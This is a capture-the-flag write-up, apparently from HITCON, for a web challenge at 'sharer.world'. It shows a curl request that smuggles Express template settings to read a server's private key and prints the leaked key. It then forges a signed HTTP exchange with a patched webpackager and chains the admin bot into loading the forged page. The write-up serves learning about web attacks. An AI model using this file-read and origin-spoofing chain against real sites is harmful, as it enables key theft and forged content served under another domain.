Extension=( 1.3.6.1.4.1.11129.2.1.22 )
====Critical=NO
====Data=05 00
The certificate used by the challenge has an extra extension allowing SXG
curl -X "POST" "https://sharer.world/report" \
-H 'Content-Type: application/x-www-form-urlencoded; charset=utf-8' \
--data-urlencode "settings[views]=/opt/certificates" \
--data-urlencode "settings[view engine]=." \
--data-urlencode "settings[layout]=privkey.pem/dummy/"
-----BEGIN PRIVATE KEY-----
MIGHAgEAMBMGByqGSM49AgEGCCqGSM49AwEHBG0wawIBAQQgvHt3r9iQY3FLPPoY
/ORYMXYi2c0CKRLPB5m+G48EkZGhRANCAAT15yZTXMClrfDIsxy01ZneE73MM0PL
JAQLXS53gYuLKWAy2pO93QF3bcRsM+N7vtPdDn3hudSFG/a9TgzdwNzF
-----END PRIVATE KEY-----
Create a signed response for https://admin-bot.sharer.world/flag
We use Web Packager Server to create signed HTTP exchange (SXG) using the private key. The server acts as a reverse proxy, it will fetch the "real" page on https://admin-bot.sharer.world/flag and sign it so we change our hosts file:
127.0.0.1 admin-bot.sharer.world sharer.world
and create a HTTPS server that will server our fake /flag
page, still using the leaked certificate
from flask import Flask
app = Flask(__name__)
@app.route("/flag")
def flag():
return open("flag.html").read()
if __name__ == "__main__":
app.run(ssl_context=('fullchain.pem', 'privkey.pem'), debug=True, port=443)
Config of Web Packager Server:
[Listen]
Host = '0.0.0.0'
Port = 1337
[SXG]
# https://sam.ninja is my reverse proxy, it forwards the request to localhost:1337 (this webpkgserver)
CertURLBase = 'https://sam.ninja/webpkg/cert'
[SXG.Cert]
PEMFile = './fullchain.pem'
KeyFile = './privkey.pem'
CacheDir = '/tmp/webpkg'
[[Sign]]
Domain = 'admin-bot.sharer.world'
[Cache]
MaxEntries = 0
We get the signed HTTP exchange:
curl 'http://127.0.0.1:1337/priv/doc/https://admin-bot.sharer.world/flag' -H 'Accept: application/signed-exchange;v=b3' --output flag.sxg
We can then upload flag.sxg to the challenge and setting the MIME type to application/signed-exchange;v=b3
It will be available at https://sharer.world/file/xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxx
We cannot directly make the bot visit this file because it would load https://sharer.world/preview/xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxx while loads the file in a sandboxed iframe
Making the bot visit https://sharer.world/file/xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxx
The bot can be triggered with a GET request: https://admin-bot.sharer.world/visit?path=/file/xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxx&token=redacted-team-token
Chrome makes a GET request to the URL of the certificate specified in the SXG file so we can patch webpkgserver to use the full URL that we control:
// https://github.com/google/webpackager/blob/53a1486f4205374a111a683a64aa5eedbacbbc7c/server/exchange.go#L100
// certURL = e.CertURLBase.ResolveReference(&url.URL{Path: urlPath})
certURL = e.CertURLBase
And update its config:
[SXG]
CertURLBase = 'https://admin-bot.sharer.world/visit?path=/file/xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxx&token=redacted-team-token'
[[Sign]]
Domain = 'sharer.world'
Again we request the signed exchange:
curl 'http://127.0.0.1:1337/priv/doc/https://sharer.world/' -H 'Accept: application/signed-exchange;v=b3' --output trigger-bot.sxg
We upload it to the challenge and report it. The bot will trigger another report and then visit our first page (https://admin-bot.sharer.world/flag)
hitcon{ok so the flag isn't even on that app wtf}